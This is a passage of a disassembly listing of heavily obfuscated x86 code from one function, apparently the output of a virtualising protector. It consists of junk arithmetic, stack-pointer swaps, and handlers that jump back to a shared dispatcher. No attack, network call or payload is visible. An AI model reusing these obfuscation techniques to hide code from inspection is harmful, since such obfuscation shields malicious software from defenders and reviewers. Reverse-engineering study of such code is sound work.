		pop	ebx
		mov	ecx, [esp+88h+var_88]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+8Ch+var_8C]
		pop	esp
		mov	[esp+88h+var_88], ebx
		sub	esp, 4
		jmp	loc_5C8AF8
; ---------------------------------------------------------------------------


loc_5CAF12:				; CODE XREF: sub_5A55E5+1FA15j
		add	[esp+0AAh+var_AC+2], 1B31771h
		pop	ecx
		sub	ecx, 1B31771h
		pop	eax
		jmp	loc_5C198C
; ---------------------------------------------------------------------------


loc_5CAF26:				; CODE XREF: sub_5A55E5+20851j
		xor	ebx, [esp+50h+var_50]
		jmp	loc_5C4A86
; ---------------------------------------------------------------------------


loc_5CAF2E:				; CODE XREF: sub_5A55E5+2522Dj
		add	edx, 3A3C5D5Bh
		jmp	loc_5D17A4
; ---------------------------------------------------------------------------


loc_5CAF39:				; CODE XREF: sub_5A55E5+2719Ej
		add	eax, 4
		jmp	loc_5CC614
; ---------------------------------------------------------------------------


loc_5CAF43:				; CODE XREF: sub_5A55E5+288AAj
		mov	edi, 6248653Ah
		xor	edx, edi
		pop	edi
		xor	esi, edx
		pop	edx
		add	edi, esi
		pop	esi
		push	edi
		push	[esp+80h+var_7C]
		pop	edi
		pop	[esp+80h+var_80]
		jmp	loc_5C33B7
; ---------------------------------------------------------------------------


loc_5CAF5F:				; CODE XREF: sub_5A55E5+2C880j
		add	ch, 0A5h
		add	ch, 0DEh
		inc	ch
		sub	ch, 2Dh
		add	al, ch
		mov	ecx, [esp+7Ch+var_7C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+7Ch+var_7C], esi
		mov	esi, esp
		jmp	loc_5CD2A2
; ---------------------------------------------------------------------------


loc_5CAF82:				; CODE XREF: sub_5A55E5+1D865j
		mov	[esp+90h+var_90], edi
		jmp	loc_5C8E63
; ---------------------------------------------------------------------------


loc_5CAF8A:				; CODE XREF: sub_5A55E5+2C51Cj
		sub	edi, ebp
		add	edi, 549E2A86h
		mov	ebp, [esp+90h+var_90]
		add	esp, 4
		and	eax, edi
		push	[esp+8Ch+var_8C]
		jmp	loc_5C7FDE
; ---------------------------------------------------------------------------


loc_5CAFA2:				; CODE XREF: sub_5A55E5+1C30Bj
		mov	edx, 6CA12F30h
		push	ebp
		mov	ebp, 6CFE3861h
		jmp	loc_5D0D19
; ---------------------------------------------------------------------------


loc_5CAFB2:				; CODE XREF: sub_5A55E5+20D6Ej
		push	eax
		push	esp
		pop	eax
		jmp	loc_5D2ABA
; ---------------------------------------------------------------------------


loc_5CAFBA:				; CODE XREF: sub_5A55E5+2499Dj
		mov	ebp, esp
		push	ebx
		push	ecx
		jmp	loc_5C07BA
; ---------------------------------------------------------------------------


loc_5CAFC3:				; CODE XREF: sub_5A55E5+21D3Aj
		xchg	esi, [esp+0A2h+var_A4+2]
		pop	esp
		mov	[esp+9Eh+var_A0+2], ebx
		push	edi
		jmp	loc_5C80EF
; ---------------------------------------------------------------------------


loc_5CAFD0:				; CODE XREF: sub_5A55E5+20F95j
		mov	ch, 0F4h
		jmp	loc_5D0BEC
; ---------------------------------------------------------------------------


loc_5CAFD7:				; CODE XREF: sub_5A55E5+2E79Bj
		pop	edx
		add	ebx, 3FF23A4Ah
		add	ebx, 59A72F66h
		sub	ebx, edi
		jmp	loc_5C6DCA
; ---------------------------------------------------------------------------


loc_5CAFEB:				; CODE XREF: sub_5A55E5+242EAj
		add	ecx, 32E34229h
		add	ecx, eax
		sub	ecx, 32E34229h
		pop	eax
		xor	ecx, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], ecx
		jmp	loc_5CDCC1
; ---------------------------------------------------------------------------


loc_5CB005:				; CODE XREF: sub_5A55E5+28B8Bj
		mov	[esp+6Ch+var_6C], esi
		push	0A6E4BF7h
		jmp	loc_5C09AB
; ---------------------------------------------------------------------------


loc_5CB012:				; CODE XREF: sub_5A55E5+2A794j
		and	ch, 76h
		add	ch, 0D1h
		xor	al, ch
		push	[esp+70h+var_70]
		mov	ecx, [esp+74h+var_74]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5C23E9
; ---------------------------------------------------------------------------


loc_5CB031:				; CODE XREF: sub_5A55E5+1C1C3j
		mov	si, 536Eh
		sub	bp, si
		pop	si
		inc	bp
		not	bp
		dec	bp
		jmp	loc_5CA0D3
; ---------------------------------------------------------------------------


loc_5CB046:				; CODE XREF: sub_5A55E5+24A77j
		xchg	ebp, [esp+0B2h+var_B4+2]
		pop	esp
		mov	[esp+0AEh+var_B0+2], edx
		mov	edx, 1F5962F6h
		push	edi
		mov	edi, 0C6873EBh
		jmp	loc_5CC137
; ---------------------------------------------------------------------------


loc_5CB05D:				; CODE XREF: sub_5A55E5+27FB4j
		mov	[esp+0B2h+var_B4+2], ebp
		sub	esp, 4
		jmp	loc_5CDFB6
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	4E52h
		mov	[esp+0BAh+var_BC+2], ecx
		push	esi
		jmp	loc_5CCA0A
; ---------------------------------------------------------------------------


loc_5CB079:				; CODE XREF: sub_5A55E5+27075j
		push	eax
		jmp	loc_5C1533
; ---------------------------------------------------------------------------


loc_5CB07F:				; CODE XREF: sub_5A55E5+1FD78j
		xor	esi, 7D493EFBh
		add	ecx, esi
		jmp	loc_5C1F4A
; ---------------------------------------------------------------------------


loc_5CB08C:				; CODE XREF: sub_5A55E5+1C960j
		push	5355h
		mov	[esp+98h+var_98], ebx
		jmp	loc_5CCAC9
; ---------------------------------------------------------------------------


loc_5CB099:				; CODE XREF: sub_5A55E5+28555j
		add	edx, 4
		sub	edx, 4
		jmp	loc_5D37D6
; ---------------------------------------------------------------------------


loc_5CB0AA:				; CODE XREF: sub_5A55E5+2E6C9j
		mov	[esp+98h+var_98], ebx
		push	eax
		mov	eax, esp
		push	7BA6h
		mov	[esp+0A0h+var_A0], esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		sub	eax, 4
		jmp	loc_5C2B26
; ---------------------------------------------------------------------------
		push	[esp+9Ch+var_9C]
		push	[esp+0A0h+var_A0]
		pop	eax
		jmp	loc_5D3001
; ---------------------------------------------------------------------------


loc_5CB0D6:				; CODE XREF: sub_5A55E5+21AAEj
		sub	ecx, 77A01D5Dh
		or	ecx, 79FF22B0h
		xor	ecx, 0F4C9C67Dh
		add	edx, ecx
		pop	ecx
		add	edx, ecx
		sub	edx, 0B3631C7h
		pop	ecx
		add	edx, 4
		jmp	loc_5CC29E
; ---------------------------------------------------------------------------


loc_5CB0FF:				; CODE XREF: sub_5A55E5+293FCj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+68h+var_68]
		pop	esp
		xor	edx, [esp+64h+var_64]
		xor	[esp+64h+var_64], edx
		xor	edx, [esp+64h+var_64]
		mov	esp, [esp+64h+var_64]
		ror	byte ptr [esp+64h+var_64], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CB121:				; CODE XREF: sub_5A55E5+2E18Ej
		push	edx
		mov	edx, 6781032Ah
		sub	ebx, edx
		pop	edx
		sub	ebx, eax
		add	ebx, 6781032Ah
		jmp	loc_5C49F7
; ---------------------------------------------------------------------------


loc_5CB137:				; CODE XREF: sub_5A55E5+29F27j
		push	2191h
		mov	[esp+6Ch+var_6C], ebx
		jmp	loc_5C0EDE
; ---------------------------------------------------------------------------


loc_5CB144:				; CODE XREF: sub_5A55E5+2E0FAj
		sub	edi, ecx
		jmp	loc_5C9DEE
; ---------------------------------------------------------------------------


loc_5CB14B:				; CODE XREF: sub_5A55E5+283F2j
		add	ebx, 4F8C13A9h
		movzx	ax, byte ptr [eax]
		push	small 3B4Dh
		mov	word ptr [esp+6Eh+var_70+2], ax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CB162:				; CODE XREF: sub_5A55E5+1C632j
		add	ebx, ebp
		mov	ebp, [esp+0A4h+var_A4]
		push	ecx
		jmp	loc_5BFEA6
; ---------------------------------------------------------------------------


loc_5CB16D:				; CODE XREF: sub_5A55E5+22A22j
		push	ax
		neg	word ptr [esp+8Ah+var_8C+2]
		mov	ax, word ptr [esp+8Ah+var_8C+2]
		add	esp, 2
		add	ax, 27E1h
		shl	ax, 5
		add	ax, 17B9h
		add	bx, ax
		jmp	loc_5C86AD
; ---------------------------------------------------------------------------


loc_5CB191:				; CODE XREF: sub_5A55E5+2BF5Ej
		pop	[esp+86h+var_88+2]
		jmp	loc_5D0984
; ---------------------------------------------------------------------------


loc_5CB199:				; CODE XREF: sub_5A55E5+1FEB7j
		pop	edx
		jmp	loc_5C4169
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 40956C54h
		push	esi
		mov	esi, 37855E38h
		shr	esi, 7
		push	ebp
		jmp	loc_5CE67C
; ---------------------------------------------------------------------------


loc_5CB1B4:				; CODE XREF: sub_5A55E5+2D11Fj
		pop	eax
		add	ch, dh
		push	ebx
		mov	bl, 12h
		or	bl, 2Ch
		xor	bl, 7Eh
		jmp	loc_5C80F5
; ---------------------------------------------------------------------------


loc_5CB1C5:				; CODE XREF: sub_5A55E5+23704j
		push	edi
		mov	edx, [esp+0B6h+var_B8+2]
		add	esp, 4
		pop	edi
		jmp	loc_5CDC0C
; ---------------------------------------------------------------------------


loc_5CB1D2:				; CODE XREF: sub_5A55E5+2187Cj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+9Ah+var_9C+2]
		pop	esp
		push	ecx
		mov	ecx, 3716390Eh
		or	ecx, 1EC931B0h
		xor	ecx, 761167D1h
		inc	ecx
		not	ecx
		shl	ecx, 1
		xor	ecx, 0FE1E87E9h
		add	esi, ecx
		pop	ecx
		add	edx, esi
		mov	esi, [esp+96h+var_98+2]
		add	esp, 4
		push	edx
		push	[esp+96h+var_94+2]
		push	[esp+9Ah+var_9C+2]
		pop	edx
		jmp	loc_5C23CA
; ---------------------------------------------------------------------------


loc_5CB21A:				; CODE XREF: sub_5A55E5+1C860j
		mov	eax, 317F528Eh
		add	eax, 234C1D4Fh
		jmp	loc_5D0688
; ---------------------------------------------------------------------------


loc_5CB229:				; CODE XREF: sub_5A55E5+1F7EBj
		sub	edx, 6A1F59EEh
		pop	ebp
		push	4EC5h
		mov	[esp+68h+var_68], esi
		mov	esi, 2
		add	edx, esi
		mov	esi, [esp+68h+var_68]
		jmp	loc_5D016F
; ---------------------------------------------------------------------------


loc_5CB247:				; CODE XREF: sub_5A55E5+2403Dj
		neg	ebx
		push	edx
		jmp	loc_5C6A8F
; ---------------------------------------------------------------------------


loc_5CB24F:				; CODE XREF: sub_5A55E5+2E729j
		mov	esi, esp
		push	ecx
		mov	ecx, 5A810F75h
		sub	ecx, 62680A59h
		sub	ecx, 0F8190518h
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		push	esi
		push	[esp+9Eh+var_9C+2]
		jmp	loc_5CE733
; ---------------------------------------------------------------------------


loc_5CB273:				; CODE XREF: sub_5A55E5+24F2Cj
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5C65E4
; ---------------------------------------------------------------------------


loc_5CB281:				; CODE XREF: sub_5A55E5+26CE6j
		mov	esp, [esp+0A4h+var_A4]
		pop	ecx
		xor	al, bl
		mov	ebx, [esp+0A0h+var_A0]
		add	esp, 4
		push	1CB5h
		mov	[esp+0A0h+var_A0], edx
		push	ecx
		jmp	loc_5C6818
; ---------------------------------------------------------------------------


loc_5CB29E:				; CODE XREF: sub_5A55E5+230E7j
		push	ecx
		mov	ecx, 179B6B22h
		xor	ecx, 4AA644F2h
		push	eax
		mov	eax, 0
		sub	eax, ecx
		mov	ecx, eax
		pop	eax
		push	ebx
		jmp	loc_5C7793
; ---------------------------------------------------------------------------


loc_5CB2BB:				; CODE XREF: sub_5A55E5+1E0A9j
		add	ebp, 39183271h
		add	eax, ebp
		mov	ebp, [esp+74h+var_74]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp+70h+var_70]
		mov	esp, [esp+70h+var_70]
		jmp	loc_5CAE96
; ---------------------------------------------------------------------------


loc_5CB2D9:				; CODE XREF: sub_5A55E5+23156j
		mov	[esp+68h+var_68], edx
		push	156E1C06h
		mov	edx, [esp+6Ch+var_6C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+6Ch+var_6C], edi
		sub	esp, 4
		mov	[esp+70h+var_70], ecx
		push	2D5F1466h
		pop	ecx
		push	ebp
		mov	ebp, 6FEC0DC9h
		and	ebp, 3C455BDAh
		xor	ebp, 3E067109h
		jmp	loc_5C60FF
; ---------------------------------------------------------------------------


loc_5CB319:				; CODE XREF: sub_5A55E5+23D14j
		pop	esp
		push	ebp
		mov	ebp, 60BC0935h
		sub	eax, 50E97819h
		add	eax, ebp
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 42B377C7h
		neg	ebp
		jmp	loc_5CCD1E
; ---------------------------------------------------------------------------


loc_5CB337:				; CODE XREF: sub_5A55E5+1B7FFj
		add	esp, 4
		push	ecx
		jmp	loc_5C8C21
; ---------------------------------------------------------------------------


loc_5CB343:				; CODE XREF: sub_5A55E5+2AD89j
		mov	[esp+0A8h+var_A8], eax
		push	edi
		jmp	loc_5D1B6F
; ---------------------------------------------------------------------------


loc_5CB34C:				; CODE XREF: sub_5A55E5+262B9j
		pop	edx
		push	edi
		mov	edi, 2
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+0A8h+var_A8]
		mov	esp, [esp+0A8h+var_A8]
		bts	word ptr [esp+0A8h+var_A8], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CB367:				; CODE XREF: sub_5A55E5+23883j
		mov	[esp+4Eh+var_50+2], esp
		push	ebx
		mov	ebx, 4
		add	[esp+52h+var_50+2], ebx
		pop	ebx
		push	[esp+4Eh+var_50+2]
		pop	edi
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 39F40C9Eh
		jmp	loc_5C0BD5
; ---------------------------------------------------------------------------


loc_5CB387:				; CODE XREF: sub_5A55E5+2CFD9j
		add	ecx, 0A1E52C2h
		push	eax
		push	0
		jmp	loc_5D040A
; ---------------------------------------------------------------------------


loc_5CB398:				; CODE XREF: sub_5A55E5+2688Bj
		pop	eax
		xor	ebx, [esp+5Ah+var_5C+2]
		xor	[esp+5Ah+var_5C+2], ebx
		xor	ebx, [esp+5Ah+var_5C+2]
		mov	esp, [esp+5Ah+var_5C+2]
		jmp	loc_5C8999
; ---------------------------------------------------------------------------


loc_5CB3AA:				; CODE XREF: sub_5A55E5+2B35Ej
		btc	word ptr [esp+5Ah+var_5C+2], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CB3B5:				; CODE XREF: sub_5A55E5+24D00j
		push	ecx
		mov	ecx, 1F580AA3h
		neg	ecx
		dec	ecx
		not	ecx
		push	ecx
		xchg	ebp, [esp+9Ch+var_9C]
		jmp	loc_5CA45F
; ---------------------------------------------------------------------------


loc_5CB3C9:				; CODE XREF: sub_5A55E5+22F2Fj
					; sub_5A55E5+29FF4j
		push	ecx
		jmp	loc_5C47F0
; ---------------------------------------------------------------------------


loc_5CB3CF:				; CODE XREF: sub_5A55E5+29E96j
		xchg	edx, [esp+88h+var_88]
		pop	esp
		pop	[esp+84h+var_84]
		mov	esp, [esp+80h+var_80]
		jmp	loc_5CF8C2
; ---------------------------------------------------------------------------


loc_5CB3DE:				; CODE XREF: sub_5A55E5+1C0F9j
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+96h+var_98+2]
		mov	esp, [esp+96h+var_98+2]
		push	300Dh
		mov	[esp+9Ah+var_9C+2], ecx
		jmp	loc_5D0DE8
; ---------------------------------------------------------------------------


loc_5CB3FD:				; CODE XREF: sub_5A55E5+29543j
		add	esp, 4
		jmp	loc_5C421B
; ---------------------------------------------------------------------------


loc_5CB408:				; CODE XREF: sub_5A55E5+201D8j
		push	[esp+66h+var_68+2]
		pop	ebp
		add	esp, 4
		or	edi, esi
		pop	esi
		xor	edi, 157E5E39h
		add	edi, 145E0A4Ah
		push	edi
		pop	ecx
		jmp	loc_5CBB73
; ---------------------------------------------------------------------------


loc_5CB428:				; CODE XREF: sub_5A55E5+1CBCAj
		pop	ecx
		sub	ebx, esi
		push	eax
		mov	eax, 35505182h
		add	ebx, eax
		pop	eax
		sub	ebx, 60BB3359h
		jmp	loc_5CAA29
; ---------------------------------------------------------------------------


loc_5CB43F:				; CODE XREF: sub_5A55E5+23E14j
		xor	[esp+8Ch+var_8C], edx
		xor	edx, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		test	cx, ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CB451:				; CODE XREF: sub_5A55E5+1CCA4j
		add	eax, 0AF819383h
		mov	ecx, eax
		pop	eax
		sub	ecx, 3898303Ah
		sub	ecx, edx
		add	ecx, 3898303Ah
		pop	edx
		add	edx, 29582B0Fh
		add	edx, 56D347BCh
		add	edx, ecx
		push	edi
		mov	edi, 5AD4722Bh
		or	edi, 59392DFCh
		neg	edi
		inc	edi
		jmp	loc_5C811A
; ---------------------------------------------------------------------------


loc_5CB48A:				; CODE XREF: sub_5A55E5+20E6Fj
		xor	dh, 0EBh
		push	eax
		jmp	loc_5CFB3B
; ---------------------------------------------------------------------------


loc_5CB493:				; CODE XREF: sub_5A55E5+1FDFDj
		pop	edi
		xor	edx, [esp+4Ah+var_4A]
		jmp	loc_5C6602
; ---------------------------------------------------------------------------


loc_5CB49C:				; CODE XREF: sub_5A55E5+212CCj
		push	[esp+8Eh+var_90+2]
		jmp	loc_5D3828
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+90h+var_90], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CB4B3:				; CODE XREF: sub_5A55E5+24F4Dj
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5C772F
; ---------------------------------------------------------------------------


loc_5CB4BB:				; CODE XREF: sub_5A55E5+20BA5j
		xor	edx, 27DA10BFh
		jmp	loc_5C0D2F
; ---------------------------------------------------------------------------


loc_5CB4C6:				; CODE XREF: sub_5A55E5+2D487j
		sub	edi, 0F8C13081h
		sub	ebx, edi
		pop	edi
		add	ebx, esi
		push	ebp
		mov	ebp, 5F6E50A5h
		sub	ebp, 0B7D62E9h
		sub	ebp, 0BD32C1Ah
		or	ebp, 7FD97F83h
		inc	ebp
		shr	ebp, 3
		xor	ebp, 6601BB82h
		jmp	loc_5CEB2D
; ---------------------------------------------------------------------------


loc_5CB4F8:				; CODE XREF: sub_5A55E5+206F0j
		neg	eax
		xor	eax, 5E979166h
		mov	ebp, eax
		pop	eax
		jmp	loc_5CDD18
; ---------------------------------------------------------------------------


loc_5CB507:				; CODE XREF: sub_5A55E5+2956Aj
		xchg	edi, [esp+0B8h+var_B8]
		jmp	loc_5CA0F1
; ---------------------------------------------------------------------------


loc_5CB50F:				; CODE XREF: sub_5A55E5+2233Cj
		push	ebp
		mov	ebp, 533F02F6h
		push	esi
		jmp	loc_5C9738
; ---------------------------------------------------------------------------


loc_5CB51B:				; CODE XREF: sub_5A55E5+21915j
		push	ebx
		push	25E4h
		jmp	loc_5CEAFA
; ---------------------------------------------------------------------------


loc_5CB526:				; CODE XREF: sub_5A55E5+2530Ej
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_5C998E
; ---------------------------------------------------------------------------


loc_5CB532:				; CODE XREF: sub_5A55E5+2E80Dj
		mov	ebx, 5F1D1321h
		sub	esp, 4
		mov	[esp+0ACh+var_AC], ecx
		jmp	loc_5C1DB0
; ---------------------------------------------------------------------------


loc_5CB542:				; CODE XREF: sub_5A55E5+1E6A3j
		shr	bh, 5
		shr	bh, 7
		shr	bh, 1
		jmp	loc_5BFB76
; ---------------------------------------------------------------------------


loc_5CB54F:				; CODE XREF: sub_5A55E5+231F1j
		mov	ebx, [esp+58h+var_58]
		jmp	loc_5CCE4C
; ---------------------------------------------------------------------------


loc_5CB557:				; CODE XREF: sub_5A55E5+24A4Bj
		pop	ebp
		sub	ebx, 0FB78F7FDh
		and	eax, ebx
		push	[esp+0B2h+var_B4+2]
		pop	ebx
		push	eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 723064DAh
		jmp	loc_5C368A
; ---------------------------------------------------------------------------


loc_5CB572:				; CODE XREF: sub_5A55E5+1F775j
		mov	edi, 0AB02532h
		push	6159h
		mov	[esp+9Eh+var_A0+2], ebp
		jmp	loc_5C5C58
; ---------------------------------------------------------------------------


loc_5CB584:				; CODE XREF: sub_5A55E5+2008Ej
		add	esp, 4
		xor	ebx, eax
		push	ebx
		mov	ebx, esp
		jmp	loc_5D215A
; ---------------------------------------------------------------------------


loc_5CB591:				; CODE XREF: sub_5A55E5+29961j
		add	ebx, 4
		push	eax
		mov	eax, 3AAE4125h
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		inc	eax
		push	edi
		mov	edi, 69CD0ADCh
		push	ebp
		jmp	loc_5C525D
; ---------------------------------------------------------------------------


loc_5CB5AE:				; CODE XREF: sub_5A55E5+2EA2Fj
		push	0FECh
		mov	[esp+74h+var_74], ebp
		push	edx
		mov	edx, 4
		mov	ebp, edx
		pop	edx
		add	ebx, 67C60A3Ah
		sub	esp, 4
		mov	[esp+78h+var_78], ecx
		jmp	loc_5C00A9
; ---------------------------------------------------------------------------


loc_5CB5D0:				; CODE XREF: sub_5A55E5+2046Aj
		xor	word ptr [esp+76h+var_78+2], bx
		xor	bx, word ptr [esp+76h+var_78+2]
		xor	word ptr [esp+76h+var_78+2], bx
		push	bx
		jmp	loc_5C8054
; ---------------------------------------------------------------------------


loc_5CB5E3:				; CODE XREF: sub_5A55E5+2373Ej
		add	ebp, 1D0B38B7h
		mov	ebx, ebp
		pop	ebp
		xor	ebx, 6FB4150Ch
		push	esi
		mov	esi, 5625A0Ah
		shr	esi, 1
		shr	esi, 6
		push	0
		sub	[esp+92h+var_94+2], esi
		mov	esi, [esp+92h+var_94+2]
		jmp	loc_5CDE9F
; ---------------------------------------------------------------------------


loc_5CB60D:				; CODE XREF: sub_5A55E5+2DD94j
		xor	ebp, [esp+92h+var_94+2]
		jmp	loc_5D0DD6
; ---------------------------------------------------------------------------


loc_5CB615:				; CODE XREF: sub_5A55E5+2E4E8j
		pop	edx
		sub	edi, 0FFFFFFFFh
		jmp	loc_5CA290
; ---------------------------------------------------------------------------


loc_5CB61E:				; CODE XREF: sub_5A55E5+205CDj
		sub	esp, 4
		mov	[esp+9Ch+var_9C], edx
		push	24C9h
		mov	[esp+0A0h+var_A0], ebx
		mov	bl, 52h
		mov	dl, 0AFh
		xor	dl, bl
		pop	ebx
		not	dl
		xor	dl, 0A5h
		mov	ah, dl
		pop	edx
		push	ebx
		jmp	loc_5C67F0
; ---------------------------------------------------------------------------


loc_5CB644:				; CODE XREF: sub_5A55E5+234F8j
		add	ebx, edi
		pop	edi
		add	ebx, ecx
		push	ebp
		mov	ebp, 9557FCCh
		shl	ebp, 8
		jmp	loc_5C30E5
; ---------------------------------------------------------------------------


loc_5CB657:				; CODE XREF: sub_5A55E5+2C7E3j
		mov	esi, [esp+9Ah+var_9C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], ecx
		mov	ecx, 22E205F9h
		add	ecx, 2B493B7Eh
		jmp	loc_5C1175
; ---------------------------------------------------------------------------


loc_5CB679:				; CODE XREF: sub_5A55E5+210CEj
		add	ebp, 4
		xchg	ebp, [esp+0ACh+var_AC]
		pop	esp
		sub	esp, 4
		mov	[esp+0ACh+var_AC], ecx
		mov	ecx, 4
		add	edi, ecx
		push	[esp+0ACh+var_AC]
		pop	ecx
		add	esp, 4
		push	ecx
		push	esi
		mov	esi, 2E7A4A1Ch
		add	esi, 5AC02989h
		shl	esi, 8
		xor	esi, 9E2792Eh
		xor	esi, 3391DC2Ch
		jmp	loc_5CF393
; ---------------------------------------------------------------------------


loc_5CB6B8:				; CODE XREF: sub_5A55E5+21CE2j
		shr	esi, 2
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+88h+var_88]
		pop	esp
		jmp	loc_5D3E09
; ---------------------------------------------------------------------------


loc_5CB6D0:				; CODE XREF: sub_5A55E5+1E640j
		dec	eax
		add	eax, 60ED51E1h
		xor	eax, 4EEF6F48h
		sub	edi, eax
		jmp	loc_5C2386
; ---------------------------------------------------------------------------


loc_5CB6E2:				; CODE XREF: sub_5A55E5+224C8j
		sub	ebx, 3557440Ch
		add	ebx, ecx
		add	ebx, 3557440Ch
		jmp	loc_5CE11F
; ---------------------------------------------------------------------------


loc_5CB6F5:				; CODE XREF: sub_5A55E5+1FE08j
		push	[esp+64h+var_64]
		jmp	loc_5CBF3E
; ---------------------------------------------------------------------------


loc_5CB6FD:				; CODE XREF: sub_5A55E5+2C2D2j
		mov	[esp+68h+var_68], edi
		jmp	loc_5C986F
; ---------------------------------------------------------------------------


loc_5CB705:				; CODE XREF: sub_5A55E5+2086Ej
		add	ebx, ecx
		pop	ecx
		jmp	loc_5C76E4
; ---------------------------------------------------------------------------


loc_5CB70D:				; CODE XREF: sub_5A55E5+1DCBDj
		mov	[esp+96h+var_98+2], ebx
		push	esp
		jmp	loc_5CE367
; ---------------------------------------------------------------------------


loc_5CB716:				; CODE XREF: sub_5A55E5+20E0Aj
		push	ebx
		push	708Fh
		jmp	loc_5CAACC
; ---------------------------------------------------------------------------


loc_5CB721:				; CODE XREF: sub_5A55E5+2B908j
		add	edi, esi
		pop	esi
		push	esi
		push	eax
		jmp	loc_5C04EB
; ---------------------------------------------------------------------------


loc_5CB72B:				; CODE XREF: sub_5A55E5+1BBDEj
		or	edx, 44AC5EA0h
		push	ecx
		mov	ecx, 0D75494ACh
		add	edx, ecx
		pop	ecx
		push	1D42h
		mov	[esp+80h+var_80], ecx
		mov	ecx, edx
		jmp	loc_5D38CD
; ---------------------------------------------------------------------------


loc_5CB749:				; CODE XREF: sub_5A55E5+2D126j
		mov	esi, 49E567A9h
		jmp	loc_5C3031
; ---------------------------------------------------------------------------


loc_5CB753:				; CODE XREF: sub_5A55E5+2B537j
		mov	[esp+80h+var_80], ecx
		push	edi
		mov	edi, 4617402Fh
		push	0BDE95A08h
		pop	ecx
		sub	ecx, edi
		pop	edi
		neg	ecx
		shl	ecx, 2
		push	edi
		mov	edi, 762646D8h
		add	edi, 5FA3090Ah
		dec	edi
		sub	edi, 0FE70A5Eh
		add	edi, 0B9DEECD2h
		and	ecx, edi
		pop	edi
		xor	ecx, 6E4267B0h
		push	ecx
		not	[esp+84h+var_84]
		jmp	loc_5D2043
; ---------------------------------------------------------------------------


loc_5CB795:				; CODE XREF: sub_5A55E5+2E7BEj
		mov	edx, 25AC2CEAh
		mov	ebp, edx
		pop	edx
		shr	ebp, 1
		not	ebp
		sub	ebp, 64311BE6h
		or	ebp, 503C282Bh
		push	6658h
		mov	[esp+84h+var_84], esi
		push	edx
		push	ebp
		mov	ebp, 794F71A2h
		mov	edx, ebp
		pop	ebp
		push	ebx
		jmp	loc_5CCC39
; ---------------------------------------------------------------------------


loc_5CB7C5:				; CODE XREF: sub_5A55E5+2E23Ej
		mov	edx, ecx
		mov	eax, edx
		mov	edx, [esp+8Ch+var_8C]
		add	esp, 4
		jmp	loc_5CEF77
; ---------------------------------------------------------------------------


loc_5CB7D4:				; CODE XREF: sub_5A55E5+2913Dj
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		push	edi
		jmp	loc_5CC269
; ---------------------------------------------------------------------------


loc_5CB7E8:				; CODE XREF: sub_5A55E5+1D8DCj
		mov	[esp+0BEh+var_C0+2], ecx
		mov	ecx, 79DC6BD5h
		neg	ecx
		inc	ecx
		shl	ecx, 2
		not	ecx
		shr	ecx, 6
		xor	ecx, 39DC6B9h
		push	edx
		jmp	loc_5C8F54
; ---------------------------------------------------------------------------


loc_5CB807:				; CODE XREF: sub_5A55E5+1BCB0j
		pop	bx
		jmp	loc_5C7C8E
; ---------------------------------------------------------------------------


loc_5CB80E:				; CODE XREF: sub_5A55E5+28361j
		mov	esp, [esp+0B6h+var_B8+2]
		jmp	loc_5D34CD
; ---------------------------------------------------------------------------


loc_5CB816:				; CODE XREF: sub_5A55E5+22BA2j
		add	esp, 4
		add	ebp, ebx
		mov	ebx, [esp+9Eh+var_A0+2]
		add	esp, 4
		xchg	ebp, [esp+9Ah+var_9C+2]
		mov	esp, [esp+9Ah+var_9C+2]
		jmp	loc_5CE21C
; ---------------------------------------------------------------------------


loc_5CB82F:				; CODE XREF: sub_5A55E5+2049Ej
		push	esi
		mov	esi, 748B4BA2h
		jmp	loc_5CA396
; ---------------------------------------------------------------------------


loc_5CB83A:				; CODE XREF: sub_5A55E5+1CA29j
		sub	eax, 9B6AE4D1h
		push	eax
		pop	ebp
		pop	eax
		add	eax, 17DC76FFh
		sub	eax, ebp
		sub	eax, 17DC76FFh
		jmp	loc_5C5EA3
; ---------------------------------------------------------------------------


loc_5CB853:				; CODE XREF: sub_5A55E5+1F4AFj
		push	ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CB85B:				; CODE XREF: sub_5A55E5+205FEj
		push	edx
		push	[esp+66h+var_64+2]
		pop	edx
		pop	[esp+66h+var_68+2]
		pop	esp
		push	esi
		push	5D8Ch
		mov	[esp+66h+var_68+2], edx
		mov	edx, 4
		jmp	loc_5C2112
; ---------------------------------------------------------------------------


loc_5CB878:				; CODE XREF: sub_5A55E5+1AFCDj
		sub	esp, 4
		mov	[esp+9Ch+var_9C], ecx
		mov	ecx, 66786E5Dh
		neg	ecx
		push	ebp
